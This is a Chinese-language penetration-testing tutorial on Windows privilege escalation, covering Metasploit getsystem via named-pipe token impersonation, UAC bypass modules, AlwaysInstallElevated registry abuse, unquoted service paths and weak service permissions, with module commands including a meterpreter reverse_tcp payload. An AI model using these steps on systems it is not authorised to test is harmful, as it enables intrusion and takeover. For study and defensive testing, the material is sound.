渗透测试框架提权

2024-03-28 999 0

MSF提权

Getsystem命名管道原理

1、命名管道介绍

命名管道(Named Pipes)是一种简单的进程间通信(IPC)机制。命名管道可以在同一台计算机的不同进程之间,或者跨越一个网络的不同计算机的不同进程之间的可靠的双向或单向的数据通信。

命名管道的命名规范遵循“通用命名规范(UNC)" :

\\server\pipe[\path]\name

注:

\\server 指定一个服务器的名字,如果是本机则用\\.表示,\\192.168.1.100表示网络上的服务器。
\pipe 是一个不可变化的“硬编码”字串(不区分大小写),用于指出该文件从属于NPFS
[\path]\name 则唯一标识一个命名管道的名称。

2、模拟令牌

模拟令牌是命名管道中常见的一种方法,一般可以用来提权操作,Metasploit 中的 getsystem 也就是这个原理。

具体步骤:

1. 创建一个以system权限启动的程序,这个程序的作用是连接指定的命名管道。
2. 创建一个进程,并让进程创建命名管道。
3. 让之前的以system权限启动的程序启动并连接这个命名管道。
4. 利用ImpersonateNamedPipeClient()函数生成system权限的token。
5. 利用system权限的token启动cmd.exe。

3、 过程模拟

(1)下载powershell脚本

https://github.com/decoder-it/pipeserverimpersonate/blob/master/pipeserverimpersonate.ps1

(2)使用administrator用户通过powershell脚本创建一个命名管道

powershell -ep bypass -f pipeserverimpersonate.ps1

(3)启用新的Powershell,输入如下命令,查看Win7命令管道:

[System.IO.Directory]::GetFiles("\\.\\pipe\\")

注:Win7及以上系统,查看命名管道还可以使用如下命令:

# 返回对象列表
get-childitem \\.\pipe\

# 只显示名称
(get-childitem \\.\pipe\).FullName

(4)在administrator用户权限下,启动一个新的cmd创建一个服务 shan-pipe

sc create shan-pipe binpath= "cmd /c echo test > \\.\pipe\shan"

sc qc shan-pipe

(5)在administrator用户权限下,启动mingy-pipe服务

sc start shan-pipe

启动mingy-pipe服务时,会以SYSTEM权限执行 cmd /c echo test > \\.\pipe\mingy 命令,即以SYSTEM权限访问创建的命名管道 \\.\pipe\mingy,Powershell脚本会打开一个模拟连接命名管道客户端权限的cmd窗口

4、 原理总结

meterpreter的getsystem提权功能原理:
1. 首先会创建一个命名管道
2. 然后创建一个服务去运行cmd /c echo "some data" > \\.\pipe\[random pipe name]
3. 当 cmd 连接到 Meterpreter 的命名管道的时候,通过令牌模拟模拟连接客户端的Token
4. 因为服务运行是 SYSTEM 权限,因此MSF也就得到了一个 SYSTEM 的 shell

5、运用以上原理进行Metasploit提权

1、上传msfvenom至靶机

2、msf开启监听

3、启动msfvenom进行上线msf

4、获取system权限

getsystem

5、恢复至原来用户

drop_token

2、BypassUAC

1、获得session

2、使用use exploit/windows/local/bypassuac 或者use exploit/windows/local/bypassuac_injection或者use exploit/windows/local/bypassuac_injection或者use exploit/windows/local/bypassuac_comhijack,任选其一设置好选项并运行

3、获得meterpreter之后使用getsystem进行提权

3、Local_exploit_suggester

use post/multi/recon/local_exploit_suggester

注:该模块为提权库,通过设置该模块中的session来筛选该模块中可用于该session的提权脚本

将跑出来的脚本一个一个试,例如:

use exploit/windows/local/bypassuac_eventvwr
set session 7
set payload windows/x64/meterpreter/reverse_tcp
set target 1
run

Windows系统服务漏洞提权

1、AlwaysInstallElevated

(1)简介
任意用户以NT AUTHORITY\SYSTEM权限安装MSI安装包。
MSI:Microsoft Silent Installer,是微软的安装包格式,它在后台运行.exe安装程序
AlwaysInstallElevated 是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件。

思路:如果目标系统上启用了这一设置,我们可以使用msf生成paload用msi程序将payload封装为msi来以system权限执行任意payload。

(2)判断是否开启策略

reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

(3)若没有开启,则用以下方法开启

reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Install        (AlwaysInstalledElevated=1)
HKEY_CURRENT_USER\Software\Policies\Microsof\Windows\Installer        (AlwaysInstalledElevated=1)

(4)下载exemsi
https://www.exemsi.com/download/

(5)msf生成payload程序

(6)用msi封装程序将paylod封装成msi

(7)运行msi程序,得到system权限的shell
受害者机器上执行:

msiexec /quiet /qn /i 1.msi

(8)开启监听获得session

(9)使用always_install_elevated模块进行提权

use exploit/windows/local/always_install_elevated
set sessions 1
run

2、可信任服务路径 

存在缺陷的服务程序利用属于可执行文件的文件/文件夹权限,Windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。

例如:

C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe

会去依次寻找下面的exe,如果有,就会执行exe,并且将后面的东西当作参数
C:\Program.exe
C:\Program Files (x86)\Windows.exe
C:\Program Files (x86)\Windows Folder\Common.exe
C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe

(1)检查目标主机是否可能存在漏洞

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """

(2)检查对有漏洞目录是否有写入权限

icacls "筛选出的服务"

F =完全控制
CI =容器继承 - 此标志指示从属容器将继承此ACE。
OI = Object Inherit - 这个标志表示从属文件将继承ACE。

(3)生成payload

(4)上传到对应的目录中

(5)重启服务

sc qc "筛选出的服务"

sc stop "筛选出的服务”
sc start "筛选出的服务"
没有权限重启服务,等待服务器重启时执行exe

MSF自动攻击:

Metasploit集成有 unquoted_service_path 模块

use exploit/windows/local/unquoted_service_path
set session 1
run

注:

(1)1083报错是因为原来要启动的服务,启动为了上传的木马,上传的木马不能进行通信,原本的服务没有启动,所以会有报错。

(2)如果弹回一个system权限的meterpreter shell,但是我们新得到的会话很快就中断了。这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。

3、不安全的服务权限

如果一个低权限的用户对运行在系统权限上的服务程序(可执行)具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。

利用MSF的service_permissions模块进行攻击:

use exploit/windows/local/service_permissions
set sessions 1
run

CobaltStrike提权

获取beacon后直接提权


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论